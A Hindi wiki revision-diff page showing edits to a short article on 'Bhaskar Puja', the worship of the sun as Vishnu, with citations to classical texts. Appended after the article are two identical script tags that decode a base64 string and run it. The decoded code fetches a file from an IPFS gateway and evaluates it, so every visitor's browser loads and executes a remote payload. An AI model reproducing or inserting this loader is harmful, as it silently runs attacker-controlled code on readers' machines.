"भास्कर पूजा" के अवतरणों में अंतर
भारत डिस्कवरी प्रस्तुति
('*भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा ...' के साथ नया पन्ना बनाया) |
व्यवस्थापन (चर्चा | योगदान) छो (Text replace - ")</ref" to "</ref") |
||
(3 सदस्यों द्वारा किये गये बीच के 7 अवतरण नहीं दर्शाए गए) | |||
पंक्ति 1: | पंक्ति 1: | ||
− | *[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में | + | *[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित [[हिन्दू धर्म]] का एक [[व्रत]] संस्कार है। |
*ऐसा कहा गया है कि [[सूर्य देवता|सूर्य]] को [[विष्णु]] के रूप में पूजना चाहिए। | *ऐसा कहा गया है कि [[सूर्य देवता|सूर्य]] को [[विष्णु]] के रूप में पूजना चाहिए। | ||
*सूर्य विष्णु की दाहिनी आँख हैं। | *सूर्य विष्णु की दाहिनी आँख हैं। | ||
*सूर्य की पूजा रथ चक्र के समान मण्डल में होनी चाहिए तथा सूर्य पर चढ़ाये गये पुष्पों को उतार लिये जाने पर पूजक के द्वारा अपनी देह पर नहीं धारण करना चाहिए। | *सूर्य की पूजा रथ चक्र के समान मण्डल में होनी चाहिए तथा सूर्य पर चढ़ाये गये पुष्पों को उतार लिये जाने पर पूजक के द्वारा अपनी देह पर नहीं धारण करना चाहिए। | ||
− | *तिथितत्व<ref> | + | *तिथितत्व<ref>तिथितत्त्व (36</ref>; पुरुषार्थचिन्तामणि<ref>पुरुषार्थचिन्तामणि (104</ref>; बृहत्संहिता<ref>बृहत्संहिता (57|31-57</ref> में देवों की प्रतिमा बनाने की विधि दी गई है; इसके श्लोक 46-48 में वर्णित हैं, कि सूर्य का पाँव से वक्ष तक का शरीर एक अंग की रक्षा से ढँका रहना चाहिए। |
− | {{ | + | {{संदर्भ ग्रंथ}} |
− | |||
− | |||
− | |||
− | |||
− | |||
− | }} | ||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> | ||
− | ==संबंधित | + | ==संबंधित लेख== |
{{पर्व और त्योहार}} | {{पर्व और त्योहार}} | ||
{{व्रत और उत्सव}} | {{व्रत और उत्सव}} |
12:55, 27 जुलाई 2011 के समय का अवतरण
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
- ऐसा कहा गया है कि सूर्य को विष्णु के रूप में पूजना चाहिए।
- सूर्य विष्णु की दाहिनी आँख हैं।
- सूर्य की पूजा रथ चक्र के समान मण्डल में होनी चाहिए तथा सूर्य पर चढ़ाये गये पुष्पों को उतार लिये जाने पर पूजक के द्वारा अपनी देह पर नहीं धारण करना चाहिए।
- तिथितत्व[1]; पुरुषार्थचिन्तामणि[2]; बृहत्संहिता[3] में देवों की प्रतिमा बनाने की विधि दी गई है; इसके श्लोक 46-48 में वर्णित हैं, कि सूर्य का पाँव से वक्ष तक का शरीर एक अंग की रक्षा से ढँका रहना चाहिए।
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>